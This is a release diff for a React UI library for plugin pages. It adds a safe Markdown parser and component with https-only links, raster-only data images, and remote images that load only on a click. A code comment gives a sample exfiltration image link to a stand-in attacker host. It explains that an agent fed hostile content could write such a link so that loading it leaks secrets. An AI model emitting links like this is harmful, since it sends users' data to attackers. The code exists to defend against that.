wings-plugin-ui 0.2.0 → 0.3.0

package/README.md

@@ -85,6 +85,7 @@ message.
 | `Combobox` | `label`, `value`, `onInput`, `options: { value, label, detail? }[]`, `onPick`, `onEnter`, `onKeyDown`, `freeText`, `openOnFocus`, `open`, `filter`, `empty` | A text field with suggestions under it: arrows, Enter, Escape and Tab, and a press outside closes it. With `freeText` it keeps what you type; otherwise it picks one of `options`. `openOnFocus={false}` for a page that puts focus back into it after a render. Without `freeText` the picked label is selected when the field gets focus and after a pick, so typing replaces it. `onEnter(text)` runs on Enter when no option is highlighted, with the typed text, and stops the Enter from submitting a form around it. An `onKeyDown` you pass runs first; `e.preventDefault()` in it skips the combobox's own keys. ArrowDown on a closed combobox opens it and highlights the first option, as in the [WAI-ARIA APG combobox pattern](https://www.w3.org/WAI/ARIA/apg/patterns/combobox/). `open="whileText"` keeps the list shown for as long as the field has text and an option matches, even after Escape, Tab or a press outside (those only clear the highlighted option) and it closes when the text is emptied or an option is picked; `aria-expanded` follows whether the list is shown. Accessibility caveat: the APG pattern has Escape dismiss the popup and treats it as shown only while the user is working in the combobox, so this mode departs from it. Use it only where the suggestions are the page's main content, such as a people search that is useful to keep in view, and not for a field where a stray list would cover other controls |
 | `Menu` | `label`, `items: { id, label, onSelect, tone? }[]`, `align`, `variant`, `size` | A button that opens a menu: arrows, Home, End, Enter, Escape |
 | `Disclosure` | `summary` | More behind a line that opens it |
+| `Markdown` | `source`, `inline` | Markdown as React: headings, lists with read-only task checkboxes, GFM tables, fenced code, quotes, rules, bold, italics, strikethrough, links and bare https URLs, and images. No HTML is ever parsed; only `https:` links open (through `wings.openUrl`, so the manifest needs `permissions.openUrl` with an `https://` prefix) and images load only from `https:` or `data:image/` png, jpeg, gif or webp URLs up to 8,000 characters (`MAX_DATA_IMAGE`); an `https:` image shows as a "Load image from <host>" button and loads only when clicked (no option to turn that off), because the text may come from an agent and the URL could carry data out, and a `data:` image shows at once; `[![alt](img)](url)` is a link with the alt as its text. `inline` renders just the inline parts in a span. Memoized on `source` |
 
 Every component passes other props, like `id`, `title`, `className`, `onClick` and `aria-*`, to its element.
 `TextInput` and `SearchField` pass `ref` to the input on React 19.

package/markdown.js

@@ -0,0 +1,187 @@
+// A small, safe Markdown parser for plugin pages, as data. It never produces HTML: text stays text, so React escapes
+// it, and the only URLs it lets through are https links and https or small data:image images.
+//
+// Blocks: headings, paragraphs, lists (flat, with an indent depth, and task items), fenced code, quotes, rules and
+// GFM tables. Inline: code, bold, italics, strikethrough, links, images and bare https URLs.
+
+/** A data: image longer than this, in characters, is shown as its alt text. */
+export const MAX_DATA_IMAGE = 8000;
+
+/** Only https links are ever opened. Anything else (javascript:, http:, data:, relative) is not a link. */
+export const safeHref = (href) => (/^https:\/\/[^\s<>"'`]+$/i.test(href) ? href : null);
+
+/** Only https images, and small raster data: images. SVG is left out, since it can carry script. */
+export const safeSrc = (src) => {
+  if (/^https:\/\/[^\s<>"'`]+$/i.test(src)) return src;
+  if (src.length <= MAX_DATA_IMAGE && /^data:image\/(?:png|jpe?g|gif|webp);base64,[a-z0-9+/]+=*$/i.test(src)) return src;
+  return null;
+};
+
+const heading = /^\s{0,3}(#{1,6})\s+(.*)$/;
+const bullet = /^(\s*)[-*+]\s+(.*)$/;
+const numbered = /^(\s*)\d+[.)]\s+(.*)$/;
+const fence = /^\s*(```|~~~)\s*([\w+-]*)/;
+const rule = /^\s*([-*_])(\s*\1){2,}\s*$/;
+const delimiterCell = /^:?-+:?$/;
+
+/** The cells of a table row: split on `|` that isn't escaped as `\|`, outer pipes dropped. */
+export function splitRow(line) {
+  let s = line.trim();
+  if (s.startsWith("|")) s = s.slice(1);
+  if (s.endsWith("|") && !s.endsWith("\\|")) s = s.slice(0, -1);
+  const cells = [];
+  let cell = "";
+  for (let i = 0; i < s.length; i++) {
+    if (s[i] === "\\" && s[i + 1] === "|") {
+      cell += "|";
+      i++;
+    } else if (s[i] === "|") {
+      cells.push(cell.trim());
+      cell = "";
+    } else cell += s[i];
+  }
+  cells.push(cell.trim());
+  return cells;
+}
+
+/** A table's delimiter row (`| --- | :-: |`) as column alignments, or null when the line isn't one. */
+function delimiterRow(line) {
+  if (!line.includes("-") || !line.includes("|") && !/^\s*:?-+:?\s*$/.test(line)) return null;
+  const cells = splitRow(line);
+  if (!cells.every((c) => delimiterCell.test(c))) return null;
+  return cells.map((c) => (c.startsWith(":") && c.endsWith(":") ? "center" : c.endsWith(":") ? "right" : c.startsWith(":") ? "left" : null));
+}
+
+/** A heading's text without its closing hashes (`## Title ##`), found by walking back from the end. */
+function headingText(text) {
+  let end = text.length;
+  while (end > 0 && /\s/.test(text[end - 1])) end--;
+  let hashes = end;
+  while (hashes > 0 && text[hashes - 1] === "#") hashes--;
+  if (hashes < end && hashes > 0 && /\s/.test(text[hashes - 1])) {
+    end = hashes;
+    while (end > 0 && /\s/.test(text[end - 1])) end--;
+  }
+  return text.slice(0, end);
+}
+
+/**
+ * Blocks of Markdown, as data:
+ * `{ kind: "heading", level 1-6, text }`, `{ kind: "paragraph", text }`,
+ * `{ kind: "list", ordered, items: { text, depth 0-3, checked: boolean | null }[] }`, `{ kind: "code", lang, text }`,
+ * `{ kind: "quote", text }`, `{ kind: "rule" }` and `{ kind: "table", align, head, rows }`.
+ */
+export function parseBlocks(src) {
+  const blocks = [];
+  const lines = String(src).replace(/\r\n?/g, "\n").split("\n");
+  let paragraph = [];
+  const flush = () => {
+    if (paragraph.length) blocks.push({ kind: "paragraph", text: paragraph.join(" ") });
+    paragraph = [];
+  };
+  for (let i = 0; i < lines.length; i++) {
+    const line = lines[i];
+    const open = fence.exec(line);
+    if (open) {
+      flush();
+      const code = [];
+      while (++i < lines.length && !new RegExp(`^\\s*${open[1]}\\s*$`).test(lines[i])) code.push(lines[i]);
+      blocks.push({ kind: "code", lang: open[2], text: code.join("\n") });
+      continue;
+    }
+    if (!line.trim()) {
+      flush();
+      continue;
+    }
+    // A table: a header row with a pipe, then a delimiter row with as many cells.
+    if (line.includes("|") && i + 1 < lines.length) {
+      const align = delimiterRow(lines[i + 1]);
+      const head = align && splitRow(line);
+      if (align && head.length === align.length) {
+        flush();
+        const rows = [];
+        let j = i + 2;
+        for (; j < lines.length && lines[j].trim() && lines[j].includes("|"); j++) {
+          const cells = splitRow(lines[j]);
+          // Short rows are padded and long ones cut, as GFM does.
+          rows.push(Array.from({ length: head.length }, (_, c) => cells[c] ?? ""));
+        }
+        blocks.push({ kind: "table", align, head, rows });
+        i = j - 1;
+        continue;
+      }
+    }
+    const h = heading.exec(line);
+    const li = bullet.exec(line) ?? numbered.exec(line);
+    if (h) {
+      flush();
+      blocks.push({ kind: "heading", level: h[1].length, text: headingText(h[2]) });
+    } else if (rule.test(line)) {
+      flush();
+      blocks.push({ kind: "rule" });
+    } else if (li) {
+      flush();
+      const ordered = !bullet.test(line);
+      const task = /^\[([ xX])\]\s+(.*)$/.exec(li[2]);
+      const item = { text: task ? task[2] : li[2], depth: Math.min(3, Math.floor(li[1].replace(/\t/g, "  ").length / 2)), checked: task ? task[1] !== " " : null };
+      const last = blocks.at(-1);
+      if (last?.kind === "list" && last.ordered === ordered) last.items.push(item);
+      else blocks.push({ kind: "list", ordered, items: [item] });
+    } else if (line.trimStart().startsWith(">")) {
+      flush();
+      const text = line.replace(/^\s*>\s?/, "");
+      const last = blocks.at(-1);
+      if (last?.kind === "quote") last.text += ` ${text}`;
+      else blocks.push({ kind: "quote", text });
+    } else paragraph.push(line.trim());
+  }
+  flush();
+  return blocks;
+}
+
+// Every scan is bounded and stops at a newline, so a long run of brackets or markers costs a bounded step per start
+// rather than a pass over the rest of the text.
+const inlinePattern =
+  /\[!\[([^\[\]\n]{0,200})\]\(([^)\s]{0,2000})\)\]\(([^)\s]{1,2000})\)|!\[([^\[\]\n]{0,200})\]\(([^)\s]{0,2000})\)|\[([^\[\]\n]{1,200})\]\(([^)\s]{1,2000})\)|`([^`\n]{1,2000})`|\*\*([^*\n]{1,2000})\*\*|~~([^~\n]{1,2000})~~|\*([^*\s][^*\n]{0,2000})\*|(https:\/\/[^\s<>"'`)\]]{1,2000})/gi;
+
+const sentenceEnd = ".,;:!?";
+
+/**
+ * Inline spans: `{ kind: "text" | "code" | "strong" | "em" | "del", text }`, `{ kind: "link", text, href }` and
+ * `{ kind: "image", alt, src }`. A link that isn't https is its text; an image that isn't allowed is its alt text. An
+ * image inside a link (`[![alt](img)](url)`) is a link whose text is the alt.
+ */
+export function parseInline(src) {
+  const out = [];
+  let at = 0;
+  for (const m of src.matchAll(inlinePattern)) {
+    if (m.index > at) out.push({ kind: "text", text: src.slice(at, m.index) });
+    at = m.index + m[0].length;
+    if (m[3] !== undefined) {
+      const href = safeHref(m[3]);
+      const text = m[1] || m[3];
+      out.push(href ? { kind: "link", text, href } : { kind: "text", text: m[1] });
+    } else if (m[5] !== undefined) {
+      const safe = safeSrc(m[5]);
+      if (safe) out.push({ kind: "image", alt: m[4], src: safe });
+      else if (m[4]) out.push({ kind: "text", text: m[4] });
+    } else if (m[7] !== undefined) {
+      const href = safeHref(m[7]);
+      out.push(href ? { kind: "link", text: m[6], href } : { kind: "text", text: m[6] });
+    } else if (m[8] !== undefined) out.push({ kind: "code", text: m[8] });
+    else if (m[9] !== undefined) out.push({ kind: "strong", text: m[9] });
+    else if (m[10] !== undefined) out.push({ kind: "del", text: m[10] });
+    else if (m[11] !== undefined) out.push({ kind: "em", text: m[11] });
+    else {
+      // A bare URL, without the punctuation that ends a sentence.
+      let end = m[12].length;
+      while (end > 0 && sentenceEnd.includes(m[12][end - 1])) end--;
+      const url = m[12].slice(0, end);
+      const href = safeHref(url);
+      out.push(href ? { kind: "link", text: url, href } : { kind: "text", text: url });
+      if (end < m[12].length) out.push({ kind: "text", text: m[12].slice(end) });
+    }
+  }
+  if (at < src.length) out.push({ kind: "text", text: src.slice(at) });
+  return out;
+}

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "wings-plugin-ui",
-  "version": "0.2.0",
+  "version": "0.3.0",
   "description": "React components and the stylesheet for Wings plugin pages, on Base UI like the Wings app's shadcn/ui components.",
   "license": "MIT",
   "type": "module",
@@ -14,6 +14,7 @@
   },
   "files": [
     "ui.js",
+    "markdown.js",
     "ui.d.ts",
     "plugin-ui.css",
     "README.md",

package/plugin-ui.css

@@ -1526,4 +1526,139 @@ textarea::placeholder {
     animation: none;
   }
 }
+/* Markdown */
+.w-md {
+  display: flex;
+  flex-direction: column;
+  gap: 10px;
+  line-height: 1.55;
+  overflow-wrap: anywhere;
+  min-width: 0;
+}
+span.w-md {
+  display: inline;
+}
+.w-md-heading {
+  margin: 4px 0 0;
+  font-weight: 600;
+  font-size: 14px;
+}
+.w-md-heading[data-level="1"] {
+  font-size: 15px;
+}
+.w-md-heading[data-level="3"],
+.w-md-heading[data-level="4"] {
+  font-size: 13px;
+}
+.w-md-list {
+  margin: 0;
+  padding-left: 20px;
+}
+.w-md-list:not([data-ordered]) {
+  list-style: disc;
+}
+.w-md-list[data-ordered] {
+  list-style: decimal;
+}
+.w-md-list > li[data-depth="1"] {
+  margin-left: 16px;
+}
+.w-md-list > li[data-depth="2"] {
+  margin-left: 32px;
+}
+.w-md-list > li[data-depth="3"] {
+  margin-left: 48px;
+}
+.w-md-list > li[data-task] {
+  list-style: none;
+  margin-left: -20px;
+}
+.w-md-list > li[data-task][data-depth="1"] {
+  margin-left: -4px;
+}
+.w-md-check {
+  width: 13px;
+  height: 13px;
+  margin: 0 6px 0 0;
+  padding: 0;
+  vertical-align: -2px;
+  accent-color: var(--wings-fg);
+}
+.w-md-code {
+  padding: 1px 4px;
+  border-radius: 4px;
+  background: rgb(255 255 255 / 0.08);
+  font-family: var(--wings-mono);
+  font-size: 0.92em;
+}
+.w-md-pre {
+  margin: 0;
+  padding: 10px 12px;
+  overflow-x: auto;
+  border-radius: 8px;
+  background: rgb(255 255 255 / 0.06);
+  font: 12px/1.45 var(--wings-mono);
+}
+.w-md-quote {
+  margin: 0;
+  padding-left: 12px;
+  border-left: 2px solid var(--wings-hairline-strong);
+  color: var(--wings-muted);
+}
+.w-md-rule {
+  width: 100%;
+  border: 0;
+  border-top: 1px solid var(--wings-hairline);
+}
+.w-md-link {
+  color: var(--wings-info);
+  text-underline-offset: 2px;
+}
+.w-md-link:hover {
+  text-decoration: underline;
+}
+.w-md-image {
+  display: block;
+  max-width: 100%;
+  height: auto;
+  border-radius: 8px;
+}
+.w-md-image-load {
+  height: auto;
+  max-width: 100%;
+  padding: 4px 10px;
+  font-size: 12px;
+  overflow-wrap: anywhere;
+}
+.w-md-table-wrap {
+  max-width: 100%;
+  overflow-x: auto;
+  border: 1px solid var(--wings-hairline);
+  border-radius: 8px;
+}
+.w-md-table {
+  width: 100%;
+  border-collapse: collapse;
+  font-size: 12.5px;
+}
+.w-md-table th,
+.w-md-table td {
+  padding: 6px 10px;
+  border-bottom: 1px solid var(--wings-hairline);
+  text-align: left;
+  vertical-align: top;
+}
+.w-md-table th {
+  background: var(--wings-surface);
+  font-weight: 600;
+}
+.w-md-table tbody tr:last-child td {
+  border-bottom: 0;
+}
+.w-md-table [data-align="center"] {
+  text-align: center;
+}
+.w-md-table [data-align="right"] {
+  text-align: right;
+}
 }

package/ui.d.ts

@@ -334,3 +334,17 @@ export function Menu(props: Omit<Props<"button">, "children"> & { label: ReactNo
 export function Disclosure(
   props: Omit<Props<"div">, "children"> & { summary: ReactNode; children?: ReactNode; open?: boolean; defaultOpen?: boolean; onOpenChange?: (open: boolean) => void },
 ): ReactElement;
+
+// ---------- markdown ----------
+
+/**
+ * Markdown as React elements: headings, paragraphs, lists (with read-only task checkboxes), fenced code, quotes,
+ * rules, GFM tables, bold, italics, strikethrough, inline code, links, bare https URLs and images. No HTML is ever
+ * parsed. Links open through `wings.openUrl` and only when they are https, so the manifest needs
+ * `permissions.openUrl: ["https://"]` for them to work. Images load only from https or `data:image/` (png, jpeg, gif,
+ * webp) URLs of up to 8,000 characters; anything else shows its alt text. A remote https image shows as a "Load image from <host>" button and loads only when clicked, since text an agent wrote could otherwise leak data in the URL; a data: image shows at once. `inline` renders only the inline parts, in
+ * a span, for a table cell or a one-line value. Re-renders only when `source` changes.
+ */
+export function Markdown(props: Omit<Props<"div">, "children"> & { source: string; inline?: boolean }): ReactElement;
+/** The longest `data:image/` URL, in characters, that `Markdown` shows. */
+export const MAX_DATA_IMAGE: number;

package/ui.js

@@ -14,9 +14,13 @@ import { Select as BaseSelect } from "@base-ui/react/select";
 import { Tabs as BaseTabs } from "@base-ui/react/tabs";
 import { Toggle as BaseToggle } from "@base-ui/react/toggle";
 import { ToggleGroup as BaseToggleGroup } from "@base-ui/react/toggle-group";
-import { createContext, createElement as h, useContext, useEffect, useId, useLayoutEffect, useRef, useState } from "react";
+import { createContext, createElement as h, useContext, useEffect, useId, memo, useLayoutEffect, useRef, useState } from "react";
 import { createRoot } from "react-dom/client";
 
+import { MAX_DATA_IMAGE, parseBlocks, parseInline } from "./markdown.js";
+
+export { MAX_DATA_IMAGE };
+
 import { mountShell } from "wings-plugin-sdk/shell";
 
 // ---------- places ----------
@@ -751,3 +755,119 @@ export function Disclosure({ summary, open, defaultOpen, onOpenChange, children,
     h(BaseCollapsible.Panel, { className: "w-disclosure-panel" }, children),
   );
 }
+
+// ---------- markdown ----------
+
+const openLink = (e, href) => {
+  e.preventDefault();
+  // Needs `permissions.openUrl` in the manifest, like `["https://"]`.
+  wings.openUrl(href).catch(console.error);
+};
+
+/** Parsed inline spans by text, so a render doesn't parse every cell and paragraph again. */
+const inlines = new Map();
+function inlineOf(text) {
+  let parts = inlines.get(text);
+  if (!parts) {
+    parts = parseInline(text);
+    if (inlines.size >= 500) inlines.delete(inlines.keys().next().value);
+    inlines.set(text, parts);
+  }
+  return parts;
+}
+
+/**
+ * A remote image is a button until it's clicked: loading an image tells its server who looked and when, and the text
+ * may come from an agent that read something hostile (`![](https://attacker.example/?d=secret)`). A data: image
+ * carries its own bytes, so it shows at once.
+ */
+function MdImage({ src, alt }) {
+  const [loaded, setLoaded] = useState(false);
+  const img = (h("img", { className: "w-md-image", src, alt, loading: "lazy", decoding: "async", referrerPolicy: "no-referrer" }));
+  if (src.startsWith("data:") || loaded) return img;
+  const host = new URL(src).host;
+  return h("button", { type: "button", className: "w-md-image-load", title: alt || undefined, onClick: () => setLoaded(true) }, `Load image from ${host}`);
+}
+
+function MdInline({ text }) {
+  return inlineOf(text).map((part, i) => {
+    switch (part.kind) {
+      case "code":
+        return h("code", { key: i, className: "w-md-code" }, part.text);
+      case "strong":
+        return h("strong", { key: i }, part.text);
+      case "em":
+        return h("em", { key: i }, part.text);
+      case "del":
+        return h("del", { key: i }, part.text);
+      case "image":
+        return h(MdImage, { key: i, src: part.src, alt: part.alt });
+      case "link":
+        return h("a", { key: i, className: "w-md-link", href: part.href, onClick: (e) => openLink(e, part.href) }, part.text);
+      default:
+        return part.text;
+    }
+  });
+}
+
+/** Parsed blocks by source, so a page that renders many sections only parses the one that changed. */
+const parsed = new Map();
+function blocksOf(source) {
+  let blocks = parsed.get(source);
+  if (!blocks) {
+    blocks = parseBlocks(source);
+    if (parsed.size >= 200) parsed.delete(parsed.keys().next().value);
+    parsed.set(source, blocks);
+  }
+  return blocks;
+}
+
+/**
+ * Markdown as React elements. No HTML is ever parsed; links open through `wings.openUrl` and only when they are
+ * https; images show only from https or small data:image URLs, and an https image loads only when clicked. Re-renders only when `source` changes.
+ */
+export const Markdown = memo(function Markdown({ source, inline, className, ...rest }) {
+  if (inline) return h("span", { ...rest, className: cx("w-md", className) }, h(MdInline, { text: source }));
+  return h(
+    "div",
+    { ...rest, className: cx("w-md", className) },
+    blocksOf(source).map((b, i) => {
+      switch (b.kind) {
+        case "heading":
+          return h(`h${Math.min(b.level + 2, 6)}`, { key: i, className: "w-md-heading", "data-level": Math.min(b.level, 4) }, h(MdInline, { text: b.text }));
+        case "list":
+          return h(
+            b.ordered ? "ol" : "ul",
+            { key: i, className: "w-md-list", "data-ordered": b.ordered ? "" : undefined },
+            b.items.map((item, j) =>
+              h(
+                "li",
+                { key: j, "data-depth": item.depth || undefined, "data-task": item.checked === null ? undefined : "" },
+                item.checked === null ? null : h("input", { type: "checkbox", checked: item.checked, disabled: true, "aria-label": item.checked ? "Done" : "Not done", className: "w-md-check" }),
+                h(MdInline, { text: item.text }),
+              ),
+            ),
+          );
+        case "code":
+          return h("pre", { key: i, className: "w-md-pre" }, h("code", null, b.text));
+        case "quote":
+          return h("blockquote", { key: i, className: "w-md-quote" }, h(MdInline, { text: b.text }));
+        case "rule":
+          return h("hr", { key: i, className: "w-md-rule" });
+        case "table":
+          return h(
+            "div",
+            { key: i, className: "w-md-table-wrap" },
+            h(
+              "table",
+              { className: "w-md-table" },
+              h("thead", null, h("tr", null, b.head.map((c, j) => h("th", { key: j, scope: "col", "data-align": b.align[j] ?? undefined }, h(MdInline, { text: c }))))),
+              h("tbody", null, b.rows.map((row, r) => h("tr", { key: r }, row.map((c, j) => h("td", { key: j, "data-align": b.align[j] ?? undefined }, h(MdInline, { text: c })))))),
+            ),
+          );
+        default:
+          return h("p", { key: i }, h(MdInline, { text: b.text }));
+      }
+    }),
+  );
+});